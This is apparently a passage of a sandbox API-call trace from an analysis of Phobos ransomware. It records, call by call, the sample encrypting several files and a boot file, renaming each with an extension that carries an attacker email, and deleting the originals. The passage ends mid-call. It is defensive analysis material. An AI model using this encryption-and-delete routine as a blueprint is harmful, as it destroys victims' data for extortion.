[0048.198] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0048.198] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0048.198] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=39050) returned 1 [0048.198] CloseHandle (hObject=0x304) returned 1 [0048.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80 [0048.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.199] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0048.199] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.199] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.199] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0048.200] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cbb0) returned 1 [0048.200] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0048.200] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x988a, lpOverlapped=0x0) returned 1 [0048.202] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x9890, dwBufLen=0x9890 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x9890) returned 1 [0048.202] WriteFile (in: hFile=0x340, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x9890, lpOverlapped=0x0) returned 1 [0048.203] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cb30) returned 1 [0048.203] CryptSetKeyParam (hKey=0x10cb30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0048.203] CryptEncrypt (in: hKey=0x10cb30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0048.203] CryptDestroyKey (hKey=0x10cb30) returned 1 [0048.203] WriteFile (in: hFile=0x340, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0048.204] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0048.204] CloseHandle (hObject=0x304) returned 1 [0048.204] CloseHandle (hObject=0x340) returned 1 [0048.205] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 1 [0048.555] SetEvent (hEvent=0x2e8) returned 1 [0048.555] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0048.555] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.555] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=41080) returned 1 [0048.555] CloseHandle (hObject=0x308) returned 1 [0048.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80 [0048.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.556] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.556] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.556] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.556] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0048.556] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cbb0) returned 1 [0048.556] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0048.556] ReadFile (in: hFile=0x308, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xa078, lpOverlapped=0x0) returned 1 [0048.558] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xa080, dwBufLen=0xa080 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xa080) returned 1 [0048.558] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xa080, lpOverlapped=0x0) returned 1 [0048.560] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cfb0) returned 1 [0048.560] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0048.560] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50, dwBufLen=0x50 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50) returned 1 [0048.560] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0048.560] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x102, lpOverlapped=0x0) returned 1 [0048.560] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0048.560] CloseHandle (hObject=0x308) returned 1 [0048.560] CloseHandle (hObject=0x2e4) returned 1 [0048.561] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 1 [0048.562] SetEvent (hEvent=0x2e8) returned 1 [0048.562] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0048.563] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0048.563] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=14084) returned 1 [0048.563] CloseHandle (hObject=0x2e4) returned 1 [0048.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80 [0048.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.563] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0048.563] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.563] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.563] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.563] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d030) returned 1 [0048.563] CryptSetKeyParam (hKey=0x10d030, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0048.563] ReadFile (in: hFile=0x2e4, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x3704, lpOverlapped=0x0) returned 1 [0048.565] CryptEncrypt (in: hKey=0x10d030, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3710, dwBufLen=0x3710 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3710) returned 1 [0048.565] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x3710, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x3710, lpOverlapped=0x0) returned 1 [0048.574] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cab0) returned 1 [0048.574] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0048.574] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0048.574] CryptDestroyKey (hKey=0x10cab0) returned 1 [0048.574] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0048.574] CryptDestroyKey (hKey=0x10d030) returned 1 [0048.574] CloseHandle (hObject=0x2e4) returned 1 [0048.575] CloseHandle (hObject=0x308) returned 1 [0048.575] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 1 [0048.576] SetEvent (hEvent=0x2e8) returned 1 [0048.576] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0048.576] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.577] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=38898) returned 1 [0048.577] CloseHandle (hObject=0x308) returned 1 [0048.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80 [0048.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.577] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.577] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.577] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.577] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0048.577] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d0b0) returned 1 [0048.577] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0048.577] ReadFile (in: hFile=0x308, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x97f2, lpOverlapped=0x0) returned 1 [0048.580] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x9800, dwBufLen=0x9800 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x9800) returned 1 [0048.581] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x9800, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x9800, lpOverlapped=0x0) returned 1 [0048.582] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ccb0) returned 1 [0048.582] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0048.582] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0048.582] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0048.582] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0048.582] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0048.582] CloseHandle (hObject=0x308) returned 1 [0048.582] CloseHandle (hObject=0x2e4) returned 1 [0048.583] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 1 [0048.585] SetEvent (hEvent=0x2e8) returned 1 [0048.585] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0048.585] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0048.585] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=104072) returned 1 [0048.585] CloseHandle (hObject=0x2e4) returned 1 [0048.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80 [0048.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.585] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0048.585] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.585] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.585] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.586] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cfb0) returned 1 [0048.586] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0048.586] ReadFile (in: hFile=0x2e4, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x19688, lpOverlapped=0x0) returned 1 [0048.587] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x19690, dwBufLen=0x19690 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x19690) returned 1 [0048.588] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x19690, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x19690, lpOverlapped=0x0) returned 1 [0048.590] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cc70) returned 1 [0048.590] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0048.590] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0048.590] CryptDestroyKey (hKey=0x10cc70) returned 1 [0048.590] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0048.590] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0048.590] CloseHandle (hObject=0x2e4) returned 1 [0048.590] CloseHandle (hObject=0x308) returned 1 [0048.592] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 1 [0048.593] SetEvent (hEvent=0x2e8) returned 1 [0048.594] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0048.594] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.594] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0048.594] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.809] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=65536) returned 1 [0048.809] CloseHandle (hObject=0x31c) returned 1 [0048.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0048.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\bootstat.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.812] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0048.812] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.812] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.812] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\bootstat.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.812] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ccf0) returned 1 [0048.812] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0048.812] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x10000, lpOverlapped=0x0) returned 1 [0048.816] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x10010, dwBufLen=0x10010 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x10010) returned 1 [0048.816] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x10010, lpOverlapped=0x0) returned 1 [0048.818] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cdf0) returned 1 [0048.818] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0048.818] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0048.818] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0048.818] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, 